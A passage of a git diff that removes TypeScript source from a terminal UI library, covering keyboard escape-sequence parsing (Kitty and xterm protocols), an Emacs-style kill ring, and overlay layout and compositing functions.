fall back to base layout key when the codepoint is NOT already a - // recognized Latin letter (a-z) or symbol (e.g., /, -, [, ;, etc.). - // When the codepoint is a recognized key, it is authoritative regardless - // of physical key position. This prevents remapped layouts (Dvorak, Colemak, - // xremap, etc.) from causing false matches: both letters and symbols move - // to different physical positions, so Ctrl+K could falsely match Ctrl+V - // (letter remapping) and Ctrl+/ could falsely match Ctrl+[ (symbol remapping) - // if the base layout key were always considered. - if ( - parsed.baseLayoutKey !== undefined && - parsed.baseLayoutKey === expectedCodepoint - ) { - const cp = parsed.codepoint; - const isLatinLetter = cp >= 97 && cp <= 122; // a-z - const isKnownSymbol = SYMBOL_KEYS.has(String.fromCharCode(cp)); - if (!isLatinLetter && !isKnownSymbol) return true; - } - - return false; -} - -function parseModifyOtherKeysSequence( - data: string, -): ParsedModifyOtherKeysSequence | null { - const match = data.match(/^\x1b\[27;(\d+);(\d+)~$/); - if (!match) return null; - const modValue = parseInt(match[1]!, 10); - const codepoint = parseInt(match[2]!, 10); - return { codepoint, modifier: modValue - 1 }; -} - -/** - * Match xterm modifyOtherKeys format: CSI 27 ; modifiers ; keycode ~ - * This is used by terminals when Kitty protocol is not enabled. - * Modifier values are 1-indexed: 2=shift, 3=alt, 5=ctrl, etc. - */ -function matchesModifyOtherKeys( - data: string, - expectedKeycode: number, - expectedModifier: number, -): boolean { - const parsed = parseModifyOtherKeysSequence(data); - if (!parsed) return false; - return ( - parsed.codepoint === expectedKeycode && parsed.modifier === expectedModifier - ); -} - -// ============================================================================= -// Generic Key Matching -// ============================================================================= - -/** - * Get the control character for a key. - * Uses the universal formula: code & 0x1f (mask to lower 5 bits) - * - * Works for: - * - Letters a-z → 1-26 - * - Symbols [\]_ → 27, 28, 29, 31 - * - Also maps - to same as _ (same physical key on US keyboards) - */ -function rawCtrlChar(key: string): string | null { - const char = key.toLowerCase(); - const code = char.charCodeAt(0); - if ( - (code >= 97 && code <= 122) || - char === "[" || - char === "\\" || - char === "]" || - char === "_" - ) { - return String.fromCharCode(code & 0x1f); - } - // Handle - as _ (same physical key on US keyboards) - if (char === "-") { - return String.fromCharCode(31); // Same as Ctrl+_ - } - return null; -} - -function isDigitKey(key: string): boolean { - return key >= "0" && key <= "9"; -} - -function matchesPrintableModifyOtherKeys( - data: string, - expectedKeycode: number, - expectedModifier: number, -): boolean { - if (expectedModifier === 0) return false; - return matchesModifyOtherKeys(data, expectedKeycode, expectedModifier); -} - -function formatKeyNameWithModifiers( - keyName: string, - modifier: number, -): string | undefined { - const mods: string[] = []; - const effectiveMod = modifier & ~LOCK_MASK; - const supportedModifierMask = - MODIFIERS.shift | MODIFIERS.ctrl | MODIFIERS.alt; - if ((effectiveMod & ~supportedModifierMask) !== 0) return undefined; - if (effectiveMod & MODIFIERS.shift) mods.push("shift"); - if (effectiveMod & MODIFIERS.ctrl) mods.push("ctrl"); - if (effectiveMod & MODIFIERS.alt) mods.push("alt"); - return mods.length > 0 ? `${mods.join("+")}+${keyName}` : keyName; -} - -function parseKeyId( - keyId: string, -): { key: string; ctrl: boolean; shift: boolean; alt: boolean } | null { - const parts = keyId.toLowerCase().split("+"); - const key = parts[parts.length - 1]; - if (!key) return null; - return { - key, - ctrl: parts.includes("ctrl"), - shift: parts.includes("shift"), - alt: parts.includes("alt"), - }; -} - -/** - * Match input data against a key identifier string. - * - * Supported key identifiers: - * - Single keys: "escape", "tab", "enter", "backspace", "delete", "home", "end", "space" - * - Arrow keys: "up", "down", "left", "right" - * - Ctrl combinations: "ctrl+c", "ctrl+z", etc. - * - Shift combinations: "shift+tab", "shift+enter" - * - Alt combinations: "alt+enter", "alt+backspace" - * - Combined modifiers: "shift+ctrl+p", "ctrl+alt+x" - * - * Use the Key helper for autocomplete: Key.ctrl("c"), Key.escape, Key.ctrlShift("p") - * - * @param data - Raw input data from terminal - * @param keyId - Key identifier (e.g., "ctrl+c", "escape", Key.ctrl("c")) - */ -export function matchesKey(data: string, keyId: KeyId): boolean { - const parsed = parseKeyId(keyId); - if (!parsed) return false; - - const { key, ctrl, shift, alt } = parsed; - let modifier = 0; - if (shift) modifier |= MODIFIERS.shift; - if (alt) modifier |= MODIFIERS.alt; - if (ctrl) modifier |= MODIFIERS.ctrl; - - switch (key) { - case "escape": - case "esc": - if (modifier !== 0) return false; - return ( - data === "\x1b" || matchesKittySequence(data, CODEPOINTS.escape, 0) - ); - - case "space": - if (!_kittyProtocolActive) { - if (ctrl && !alt && !shift && data === "\x00") { - return true; - } - if (alt && !ctrl && !shift && data === "\x1b ") { - return true; - } - } - if (modifier === 0) { - return data === " " || matchesKittySequence(data, CODEPOINTS.space, 0); - } - return matchesKittySequence(data, CODEPOINTS.space, modifier); - - case "tab": - if (shift && !ctrl && !alt) { - return ( - data === "\x1b[Z" || - matchesKittySequence(data, CODEPOINTS.tab, MODIFIERS.shift) - ); - } - if (modifier === 0) { - return data === "\t" || matchesKittySequence(data, CODEPOINTS.tab, 0); - } - return matchesKittySequence(data, CODEPOINTS.tab, modifier); - - case "enter": - case "return": - if (shift && !ctrl && !alt) { - // CSI u sequences (standard Kitty protocol) - if ( - matchesKittySequence(data, CODEPOINTS.enter, MODIFIERS.shift) || - matchesKittySequence(data, CODEPOINTS.kpEnter, MODIFIERS.shift) - ) { - return true; - } - // xterm modifyOtherKeys format (fallback when Kitty protocol not enabled) - if (matchesModifyOtherKeys(data, CODEPOINTS.enter, MODIFIERS.shift)) { - return true; - } - // When Kitty protocol is active, legacy sequences are custom terminal mappings - // \x1b\r = Kitty's "map shift+enter send_text all \e\r" - // \n = Ghostty's "keybind = shift+enter=text:\n" - if (_kittyProtocolActive) { - return data === "\x1b\r" || data === "\n"; - } - return false; - } - if (alt && !ctrl && !shift) { - // CSI u sequences (standard Kitty protocol) - if ( - matchesKittySequence(data, CODEPOINTS.enter, MODIFIERS.alt) || - matchesKittySequence(data, CODEPOINTS.kpEnter, MODIFIERS.alt) - ) { - return true; - } - // xterm modifyOtherKeys format (fallback when Kitty protocol not enabled) - if (matchesModifyOtherKeys(data, CODEPOINTS.enter, MODIFIERS.alt)) { - return true; - } - // \x1b\r is alt+enter only in legacy mode (no Kitty protocol) - // When Kitty protocol is active, alt+enter comes as CSI u sequence - if (!_kittyProtocolActive) { - return data === "\x1b\r"; - } - return false; - } - if (modifier === 0) { - return ( - data === "\r" || - (!_kittyProtocolActive && data === "\n") || - data === "\x1bOM" || // SS3 M (numpad enter in some terminals) - matchesKittySequence(data, CODEPOINTS.enter, 0) || - matchesKittySequence(data, CODEPOINTS.kpEnter, 0) - ); - } - return ( - matchesKittySequence(data, CODEPOINTS.enter, modifier) || - matchesKittySequence(data, CODEPOINTS.kpEnter, modifier) || - matchesModifyOtherKeys(data, CODEPOINTS.enter, modifier) - ); - - case "backspace": - if (alt && !ctrl && !shift) { - if (data === "\x1b\x7f" || data === "\x1b\b") { - return true; - } - return matchesKittySequence(data, CODEPOINTS.backspace, MODIFIERS.alt); - } - if (modifier === 0) { - return ( - data === "\x7f" || - data === "\x08" || - matchesKittySequence(data, CODEPOINTS.backspace, 0) - ); - } - return matchesKittySequence(data, CODEPOINTS.backspace, modifier); - - case "insert": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.insert.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.insert, 0) - ); - } - if (matchesLegacyModifierSequence(data, "insert", modifier)) { - return true; - } - return matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.insert, modifier); - - case "delete": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.delete.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.delete, 0) - ); - } - if (matchesLegacyModifierSequence(data, "delete", modifier)) { - return true; - } - return matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.delete, modifier); - - case "clear": - if (modifier === 0) { - return matchesLegacySequence(data, LEGACY_SEQUENCES.clear.plain!); - } - return matchesLegacyModifierSequence(data, "clear", modifier); - - case "home": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.home.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.home, 0) - ); - } - if (matchesLegacyModifierSequence(data, "home", modifier)) { - return true; - } - return matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.home, modifier); - - case "end": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.end.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.end, 0) - ); - } - if (matchesLegacyModifierSequence(data, "end", modifier)) { - return true; - } - return matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.end, modifier); - - case "pageup": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.pageUp.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.pageUp, 0) - ); - } - if (matchesLegacyModifierSequence(data, "pageUp", modifier)) { - return true; - } - return matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.pageUp, modifier); - - case "pagedown": - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.pageDown.plain!) || - matchesKittySequence(data, FUNCTIONAL_CODEPOINTS.pageDown, 0) - ); - } - if (matchesLegacyModifierSequence(data, "pageDown", modifier)) { - return true; - } - return matchesKittySequence( - data, - FUNCTIONAL_CODEPOINTS.pageDown, - modifier, - ); - - case "up": - if (alt && !ctrl && !shift) { - return ( - data === "\x1bp" || - matchesKittySequence(data, ARROW_CODEPOINTS.up, MODIFIERS.alt) - ); - } - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.up.plain!) || - matchesKittySequence(data, ARROW_CODEPOINTS.up, 0) - ); - } - if (matchesLegacyModifierSequence(data, "up", modifier)) { - return true; - } - return matchesKittySequence(data, ARROW_CODEPOINTS.up, modifier); - - case "down": - if (alt && !ctrl && !shift) { - return ( - data === "\x1bn" || - matchesKittySequence(data, ARROW_CODEPOINTS.down, MODIFIERS.alt) - ); - } - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.down.plain!) || - matchesKittySequence(data, ARROW_CODEPOINTS.down, 0) - ); - } - if (matchesLegacyModifierSequence(data, "down", modifier)) { - return true; - } - return matchesKittySequence(data, ARROW_CODEPOINTS.down, modifier); - - case "left": - if (alt && !ctrl && !shift) { - return ( - data === "\x1b[1;3D" || - (!_kittyProtocolActive && data === "\x1bB") || - data === "\x1bb" || - matchesKittySequence(data, ARROW_CODEPOINTS.left, MODIFIERS.alt) - ); - } - if (ctrl && !alt && !shift) { - return ( - data === "\x1b[1;5D" || - matchesLegacyModifierSequence(data, "left", MODIFIERS.ctrl) || - matchesKittySequence(data, ARROW_CODEPOINTS.left, MODIFIERS.ctrl) - ); - } - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.left.plain!) || - matchesKittySequence(data, ARROW_CODEPOINTS.left, 0) - ); - } - if (matchesLegacyModifierSequence(data, "left", modifier)) { - return true; - } - return matchesKittySequence(data, ARROW_CODEPOINTS.left, modifier); - - case "right": - if (alt && !ctrl && !shift) { - return ( - data === "\x1b[1;3C" || - (!_kittyProtocolActive && data === "\x1bF") || - data === "\x1bf" || - matchesKittySequence(data, ARROW_CODEPOINTS.right, MODIFIERS.alt) - ); - } - if (ctrl && !alt && !shift) { - return ( - data === "\x1b[1;5C" || - matchesLegacyModifierSequence(data, "right", MODIFIERS.ctrl) || - matchesKittySequence(data, ARROW_CODEPOINTS.right, MODIFIERS.ctrl) - ); - } - if (modifier === 0) { - return ( - matchesLegacySequence(data, LEGACY_SEQUENCES.right.plain!) || - matchesKittySequence(data, ARROW_CODEPOINTS.right, 0) - ); - } - if (matchesLegacyModifierSequence(data, "right", modifier)) { - return true; - } - return matchesKittySequence(data, ARROW_CODEPOINTS.right, modifier); - - case "f1": - case "f2": - case "f3": - case "f4": - case "f5": - case "f6": - case "f7": - case "f8": - case "f9": - case "f10": - case "f11": - case "f12": { - if (modifier !== 0) { - return false; - } - const functionKey = key as keyof typeof LEGACY_SEQUENCES; - return matchesLegacySequence(data, LEGACY_SEQUENCES[functionKey]!.plain!); - } - } - - // Handle single letter/digit keys and symbols - if ( - key.length === 1 && - ((key >= "a" && key <= "z") || isDigitKey(key) || SYMBOL_KEYS.has(key)) - ) { - const codepoint = key.charCodeAt(0); - const rawCtrl = rawCtrlChar(key); - const isLetter = key >= "a" && key <= "z"; - const isDigit = isDigitKey(key); - - if (ctrl && alt && !shift && !_kittyProtocolActive && rawCtrl) { - // Legacy: ctrl+alt+key is ESC followed by the control character - return data === `\x1b${rawCtrl}`; - } - - if ( - alt && - !ctrl && - !shift && - !_kittyProtocolActive && - (isLetter || isDigit) - ) { - // Legacy: alt+letter/digit is ESC followed by the key - if (data === `\x1b${key}`) return true; - } - - if (ctrl && !shift && !alt) { - // Legacy: ctrl+key sends the control character - if (rawCtrl && data === rawCtrl) return true; - return ( - matchesKittySequence(data, codepoint, MODIFIERS.ctrl) || - matchesPrintableModifyOtherKeys(data, codepoint, MODIFIERS.ctrl) - ); - } - - if (ctrl && shift && !alt) { - return ( - matchesKittySequence( - data, - codepoint, - MODIFIERS.shift + MODIFIERS.ctrl, - ) || - matchesPrintableModifyOtherKeys( - data, - codepoint, - MODIFIERS.shift + MODIFIERS.ctrl, - ) - ); - } - - if (shift && !ctrl && !alt) { - // Legacy: shift+letter produces uppercase - if (isLetter && data === key.toUpperCase()) return true; - return ( - matchesKittySequence(data, codepoint, MODIFIERS.shift) || - matchesPrintableModifyOtherKeys(data, codepoint, MODIFIERS.shift) - ); - } - - if (modifier !== 0) { - return ( - matchesKittySequence(data, codepoint, modifier) || - matchesPrintableModifyOtherKeys(data, codepoint, modifier) - ); - } - - // Check both raw char and Kitty sequence (needed for release events) - return data === key || matchesKittySequence(data, codepoint, 0); - } - - return false; -} - -/** - * Parse input data and return the key identifier if recognized. - * - * @param data - Raw input data from terminal - * @returns Key identifier string (e.g., "ctrl+c") or undefined - */ -function formatParsedKey( - codepoint: number, - modifier: number, - baseLayoutKey?: number, -): string | undefined { - // Use base layout key only when codepoint is not a recognized Latin - // letter (a-z), digit (0-9), or symbol (/, -, [, ;, etc.). For those, - // the codepoint is authoritative regardless of physical key position. - // This prevents remapped layouts (Dvorak, Colemak, xremap, etc.) from - // reporting the wrong key name based on the QWERTY physical position. - const isLatinLetter = codepoint >= 97 && codepoint <= 122; // a-z - const isDigit = codepoint >= 48 && codepoint <= 57; // 0-9 - const isKnownSymbol = SYMBOL_KEYS.has(String.fromCharCode(codepoint)); - const effectiveCodepoint = - isLatinLetter || isDigit || isKnownSymbol - ? codepoint - : (baseLayoutKey ?? codepoint); - - let keyName: string | undefined; - if (effectiveCodepoint === CODEPOINTS.escape) keyName = "escape"; - else if (effectiveCodepoint === CODEPOINTS.tab) keyName = "tab"; - else if ( - effectiveCodepoint === CODEPOINTS.enter || - effectiveCodepoint === CODEPOINTS.kpEnter - ) - keyName = "enter"; - else if (effectiveCodepoint === CODEPOINTS.space) keyName = "space"; - else if (effectiveCodepoint === CODEPOINTS.backspace) keyName = "backspace"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.delete) - keyName = "delete"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.insert) - keyName = "insert"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.home) keyName = "home"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.end) keyName = "end"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.pageUp) - keyName = "pageUp"; - else if (effectiveCodepoint === FUNCTIONAL_CODEPOINTS.pageDown) - keyName = "pageDown"; - else if (effectiveCodepoint === ARROW_CODEPOINTS.up) keyName = "up"; - else if (effectiveCodepoint === ARROW_CODEPOINTS.down) keyName = "down"; - else if (effectiveCodepoint === ARROW_CODEPOINTS.left) keyName = "left"; - else if (effectiveCodepoint === ARROW_CODEPOINTS.right) keyName = "right"; - else if (effectiveCodepoint >= 48 && effectiveCodepoint <= 57) - keyName = String.fromCharCode(effectiveCodepoint); - else if (effectiveCodepoint >= 97 && effectiveCodepoint <= 122) - keyName = String.fromCharCode(effectiveCodepoint); - else if (SYMBOL_KEYS.has(String.fromCharCode(effectiveCodepoint))) - keyName = String.fromCharCode(effectiveCodepoint); - - if (!keyName) return undefined; - return formatKeyNameWithModifiers(keyName, modifier); -} - -export function parseKey(data: string): string | undefined { - const kitty = parseKittySequence(data); - if (kitty) { - return formatParsedKey( - kitty.codepoint, - kitty.modifier, - kitty.baseLayoutKey, - ); - } - - const modifyOtherKeys = parseModifyOtherKeysSequence(data); - if (modifyOtherKeys) { - return formatParsedKey(modifyOtherKeys.codepoint, modifyOtherKeys.modifier); - } - - // Mode-aware legacy sequences - // When Kitty protocol is active, ambiguous sequences are interpreted as custom terminal mappings: - // - \x1b\r = shift+enter (Kitty mapping), not alt+enter - // - \n = shift+enter (Ghostty mapping) - if (_kittyProtocolActive) { - if (data === "\x1b\r" || data === "\n") return "shift+enter"; - } - - const legacySequenceKeyId = LEGACY_SEQUENCE_KEY_IDS[data]; - if (legacySequenceKeyId) return legacySequenceKeyId; - - // Legacy sequences (used when Kitty protocol is not active, or for unambiguous sequences) - if (data === "\x1b") return "escape"; - if (data === "\x1c") return "ctrl+\\"; - if (data === "\x1d") return "ctrl+]"; - if (data === "\x1f") return "ctrl+-"; - if (data === "\x1b\x1b") return "ctrl+alt+["; - if (data === "\x1b\x1c") return "ctrl+alt+\\"; - if (data === "\x1b\x1d") return "ctrl+alt+]"; - if (data === "\x1b\x1f") return "ctrl+alt+-"; - if (data === "\t") return "tab"; - if ( - data === "\r" || - (!_kittyProtocolActive && data === "\n") || - data === "\x1bOM" - ) - return "enter"; - if (data === "\x00") return "ctrl+space"; - if (data === " ") return "space"; - if (data === "\x7f" || data === "\x08") return "backspace"; - if (data === "\x1b[Z") return "shift+tab"; - if (!_kittyProtocolActive && data === "\x1b\r") return "alt+enter"; - if (!_kittyProtocolActive && data === "\x1b ") return "alt+space"; - if (data === "\x1b\x7f" || data === "\x1b\b") return "alt+backspace"; - if (!_kittyProtocolActive && data === "\x1bB") return "alt+left"; - if (!_kittyProtocolActive && data === "\x1bF") return "alt+right"; - if (!_kittyProtocolActive && data.length === 2 && data[0] === "\x1b") { - const code = data.charCodeAt(1); - if (code >= 1 && code <= 26) { - return `ctrl+alt+${String.fromCharCode(code + 96)}`; - } - // Legacy alt+letter/digit (ESC followed by the key) - if ((code >= 97 && code <= 122) || (code >= 48 && code <= 57)) { - return `alt+${String.fromCharCode(code)}`; - } - } - if (data === "\x1b[A") return "up"; - if (data === "\x1b[B") return "down"; - if (data === "\x1b[C") return "right"; - if (data === "\x1b[D") return "left"; - if (data === "\x1b[H" || data === "\x1bOH") return "home"; - if (data === "\x1b[F" || data === "\x1bOF") return "end"; - if (data === "\x1b[3~") return "delete"; - if (data === "\x1b[5~") return "pageUp"; - if (data === "\x1b[6~") return "pageDown"; - - // Raw Ctrl+letter - if (data.length === 1) { - const code = data.charCodeAt(0); - if (code >= 1 && code <= 26) { - return `ctrl+${String.fromCharCode(code + 96)}`; - } - if (code >= 32 && code <= 126) { - return data; - } - } - - return undefined; -} - -// ============================================================================= -// Kitty CSI-u Printable Decoding -// ============================================================================= - -const KITTY_CSI_U_REGEX = - /^\x1b\[(\d+)(?::(\d*))?(?::(\d+))?(?:;(\d+))?(?::(\d+))?u$/; -const KITTY_PRINTABLE_ALLOWED_MODIFIERS = MODIFIERS.shift | LOCK_MASK; - -/** - * Decode a Kitty CSI-u sequence into a printable character, if applicable. - * - * When Kitty keyboard protocol flag 1 (disambiguate) is active, terminals send - * CSI-u sequences for all keys, including plain printable characters. This - * function extracts the printable character from such sequences. - * - * Only accepts plain or Shift-modified keys. Rejects Ctrl, Alt, and unsupported - * modifier combinations (those are handled by keybinding matching instead). - * Prefers the shifted keycode when Shift is held and a shifted key is reported. - * - * @param data - Raw input data from terminal - * @returns The printable character, or undefined if not a printable CSI-u sequence - */ -export function decodeKittyPrintable(data: string): string | undefined { - const match = data.match(KITTY_CSI_U_REGEX); - if (!match) return undefined; - - // CSI-u groups: [:[:]];[:]u - const codepoint = Number.parseInt(match[1] ?? "", 10); - if (!Number.isFinite(codepoint)) return undefined; - - const shiftedKey = - match[2] && match[2].length > 0 ? Number.parseInt(match[2], 10) : undefined; - const modValue = match[4] ? Number.parseInt(match[4], 10) : 1; - // Modifiers are 1-indexed in CSI-u; normalize to our bitmask. - const modifier = Number.isFinite(modValue) ? modValue - 1 : 0; - - // Only accept printable CSI-u input for plain or Shift-modified text keys. - // Reject unsupported modifier bits (e.g. Super/Meta) to avoid inserting - // characters from modifier-only terminal events. - if ((modifier & ~KITTY_PRINTABLE_ALLOWED_MODIFIERS) !== 0) return undefined; - if (modifier & (MODIFIERS.alt | MODIFIERS.ctrl)) return undefined; - - // Prefer the shifted keycode when Shift is held. - let effectiveCodepoint = codepoint; - if (modifier & MODIFIERS.shift && typeof shiftedKey === "number") { - effectiveCodepoint = shiftedKey; - } - // Drop control characters or invalid codepoints. - if (!Number.isFinite(effectiveCodepoint) || effectiveCodepoint < 32) - return undefined; - - const keypadPrintable = KITTY_KEYPAD_PRINTABLES.get(effectiveCodepoint); - if (keypadPrintable !== undefined) return keypadPrintable; - - if ( - effectiveCodepoint >= KITTY_PRIVATE_USE_RANGE.start && - effectiveCodepoint <= KITTY_PRIVATE_USE_RANGE.end - ) { - return undefined; - } - - try { - return String.fromCodePoint(effectiveCodepoint); - } catch { - return undefined; - } -} diff --git a/packages/pi-tui/src/kill-ring.ts b/packages/pi-tui/src/kill-ring.ts deleted file mode 100644 index 2292f91aa..000000000 --- a/packages/pi-tui/src/kill-ring.ts +++ /dev/null @@ -1,46 +0,0 @@ -/** - * Ring buffer for Emacs-style kill/yank operations. - * - * Tracks killed (deleted) text entries. Consecutive kills can accumulate - * into a single entry. Supports yank (paste most recent) and yank-pop - * (cycle through older entries). - */ -export class KillRing { - private ring: string[] = []; - - /** - * Add text to the kill ring. - * - * @param text - The killed text to add - * @param opts - Push options - * @param opts.prepend - If accumulating, prepend (backward deletion) or append (forward deletion) - * @param opts.accumulate - Merge with the most recent entry instead of creating a new one - */ - push(text: string, opts: { prepend: boolean; accumulate?: boolean }): void { - if (!text) return; - - if (opts.accumulate && this.ring.length > 0) { - const last = this.ring.pop()!; - this.ring.push(opts.prepend ? text + last : last + text); - } else { - this.ring.push(text); - } - } - - /** Get most recent entry without modifying the ring. */ - peek(): string | undefined { - return this.ring.length > 0 ? this.ring[this.ring.length - 1] : undefined; - } - - /** Move last entry to front (for yank-pop cycling). */ - rotate(): void { - if (this.ring.length > 1) { - const last = this.ring.pop()!; - this.ring.unshift(last); - } - } - - get length(): number { - return this.ring.length; - } -} diff --git a/packages/pi-tui/src/overlay-layout.ts b/packages/pi-tui/src/overlay-layout.ts deleted file mode 100644 index 0c93df961..000000000 --- a/packages/pi-tui/src/overlay-layout.ts +++ /dev/null @@ -1,449 +0,0 @@ -/** - * Overlay layout resolution, compositing, and rendering utilities. - * - * Extracted from tui.ts — these are pure functions that compute overlay - * positions and composite overlay content onto base terminal lines. - */ - -import { isImageLine } from "./terminal-image.js"; -import type { OverlayAnchor, OverlayOptions, SizeValue } from "./tui.js"; -import { CURSOR_MARKER } from "./tui.js"; -import { - applyBackgroundToLine, - extractSegments, - sliceByColumn, - sliceWithWidth, - visibleWidth, -} from "./utils.js"; - -// ─── Size parsing ─────────────────────────────────────────────────────────── - -/** Parse a SizeValue into absolute value given a reference size */ -export function parseSizeValue( - value: SizeValue | undefined, - referenceSize: number, -): number | undefined { - if (value === undefined) return undefined; - if (typeof value === "number") return value; - // Parse percentage string like "50%" - const match = value.match(/^(\d+(?:\.\d+)?)%$/); - if (match) { - return Math.floor((referenceSize * parseFloat(match[1])) / 100); - } - return undefined; -} - -// ─── Anchor resolution ────────────────────────────────────────────────────── - -export function resolveAnchorRow( - anchor: OverlayAnchor, - height: number, - availHeight: number, - marginTop: number, -): number { - switch (anchor) { - case "top-left": - case "top-center": - case "top-right": - return marginTop; - case "bottom-left": - case "bottom-center": - case "bottom-right": - return marginTop + availHeight - height; - case "left-center": - case "center": - case "right-center": - return marginTop + Math.floor((availHeight - height) / 2); - } -} - -export function resolveAnchorCol( - anchor: OverlayAnchor, - width: number, - availWidth: number, - marginLeft: number, -): number { - switch (anchor) { - case "top-left": - case "left-center": - case "bottom-left": - return marginLeft; - case "top-right": - case "right-center": - case "bottom-right": - return marginLeft + availWidth - width; - case "top-center": - case "center": - case "bottom-center": - return marginLeft + Math.floor((availWidth - width) / 2); - } -} - -// ─── Overlay layout resolution ────────────────────────────────────────────── - -export interface OverlayLayout { - width: number; - row: number; - col: number; - maxHeight: number | undefined; -} - -/** - * Resolve overlay layout from options. - * Returns { width, row, col, maxHeight } for rendering. - */ -export function resolveOverlayLayout( - options: OverlayOptions | undefined, - overlayHeight: number, - termWidth: number, - termHeight: number, -): OverlayLayout { - const opt = options ?? {}; - - // Parse margin (clamp to non-negative) - const margin = - typeof opt.margin === "number" - ? { - top: opt.margin, - right: opt.margin, - bottom: opt.margin, - left: opt.margin, - } - : (opt.margin ?? {}); - const marginTop = Math.max(0, margin.top ?? 0); - const marginRight = Math.max(0, margin.right ?? 0); - const marginBottom = Math.max(0, margin.bottom ?? 0); - const marginLeft = Math.max(0, margin.left ?? 0); - - // Available space after margins - const availWidth = Math.max(1, termWidth - marginLeft - marginRight); - const availHeight = Math.max(1, termHeight - marginTop - marginBottom); - - // === Resolve width === - let width = parseSizeValue(opt.width, termWidth) ?? Math.min(80, availWidth); - // Apply minWidth - if (opt.minWidth !== undefined) { - width = Math.max(width, opt.minWidth); - } - // Clamp to available space - width = Math.max(1, Math.min(width, availWidth)); - - // === Resolve maxHeight === - let maxHeight = parseSizeValue(opt.maxHeight, termHeight); - // Clamp to available space - if (maxHeight !== undefined) { - maxHeight = Math.max(1, Math.min(maxHeight, availHeight)); - } - - // Effective overlay height (may be clamped by maxHeight) - const effectiveHeight = - maxHeight !== undefined - ? Math.min(overlayHeight, maxHeight) - : overlayHeight; - - // === Resolve position === - let row: number; - let col: number; - - if (opt.row !== undefined) { - if (typeof opt.row === "string") { - // Percentage: 0% = top, 100% = bottom (overlay stays within bounds) - const match = opt.row.match(/^(\d+(?:\.\d+)?)%$/); - if (match) { - const maxRow = Math.max(0, availHeight - effectiveHeight); - const percent = parseFloat(match[1]) / 100; - row = marginTop + Math.floor(maxRow * percent); - } else { - // Invalid format, fall back to center - row = resolveAnchorRow( - "center", - effectiveHeight, - availHeight, - marginTop, - ); - } - } else { - // Absolute row position - row = opt.row; - } - } else { - // Anchor-based (default: center) - const anchor = opt.anchor ?? "center"; - row = resolveAnchorRow(anchor, effectiveHeight, availHeight, marginTop); - } - - if (opt.col !== undefined) { - if (typeof opt.col === "string") { - // Percentage: 0% = left, 100% = right (overlay stays within bounds) - const match = opt.col.match(/^(\d+(?:\.\d+)?)%$/); - if (match) { - const maxCol = Math.max(0, availWidth - width); - const percent = parseFloat(match[1]) / 100; - col = marginLeft + Math.floor(maxCol * percent); - } else { - // Invalid format, fall back to center - col = resolveAnchorCol("center", width, availWidth, marginLeft); - } - } else { - // Absolute column position - col = opt.col; - } - } else { - // Anchor-based (default: center) - const anchor = opt.anchor ?? "center"; - col = resolveAnchorCol(anchor, width, availWidth, marginLeft); - } - - // Apply offsets - if (opt.offsetY !== undefined) row += opt.offsetY; - if (opt.offsetX !== undefined) col += opt.offsetX; - - // Clamp to terminal bounds (respecting margins) - row = Math.max( - marginTop, - Math.min(row, termHeight - marginBottom - effectiveHeight), - ); - col = Math.max(marginLeft, Math.min(col, termWidth - marginRight - width)); - - return { width, row, col, maxHeight }; -} - -// ─── Line compositing ─────────────────────────────────────────────────────── - -const SEGMENT_RESET = "\x1b[0m\x1b]8;;\x07"; - -/** Append reset sequences to each non-image line. */ -export function applyLineResets(lines: string[]): string[] { - for (let i = 0; i < lines.length; i++) { - const line = lines[i]; - if (!isImageLine(line)) { - lines[i] = line + SEGMENT_RESET; - } - } - return lines; -} - -/** Splice overlay content into a base line at a specific column. Single-pass optimized. */ -export function compositeLineAt( - baseLine: string, - overlayLine: string, - startCol: number, - overlayWidth: number, - totalWidth: number, -): string { - if (isImageLine(baseLine)) return baseLine; - - // Single pass through baseLine extracts both before and after segments - const afterStart = startCol + overlayWidth; - const base = extractSegments( - baseLine, - startCol, - afterStart, - totalWidth - afterStart, - true, - ); - - // Extract overlay with width tracking (strict=true to exclude wide chars at boundary) - const overlay = sliceWithWidth(overlayLine, 0, overlayWidth, true); - - // Pad segments to target widths - const beforePad = Math.max(0, startCol - base.beforeWidth); - const overlayPad = Math.max(0, overlayWidth - overlay.width); - const actualBeforeWidth = Math.max(startCol, base.beforeWidth); - const actualOverlayWidth = Math.max(overlayWidth, overlay.width); - const afterTarget = Math.max( - 0, - totalWidth - actualBeforeWidth - actualOverlayWidth, - ); - const afterPad = Math.max(0, afterTarget - base.afterWidth); - - // Compose result - const r = SEGMENT_RESET; - const result = - base.before + - " ".repeat(beforePad) + - r + - overlay.text + - " ".repeat(overlayPad) + - r + - base.after + - " ".repeat(afterPad); - - // CRITICAL: Always verify and truncate to terminal width. - // This is the final safeguard against width overflow which would crash the TUI. - // Width tracking can drift from actual visible width due to: - // - Complex ANSI/OSC sequences (hyperlinks, colors) - // - Wide characters at segment boundaries - // - Edge cases in segment extraction - const resultWidth = visibleWidth(result); - if (resultWidth <= totalWidth) { - return result; - } - // Truncate with strict=true to ensure we don't exceed totalWidth - return sliceByColumn(result, 0, totalWidth, true); -} - -// ─── Overlay compositing 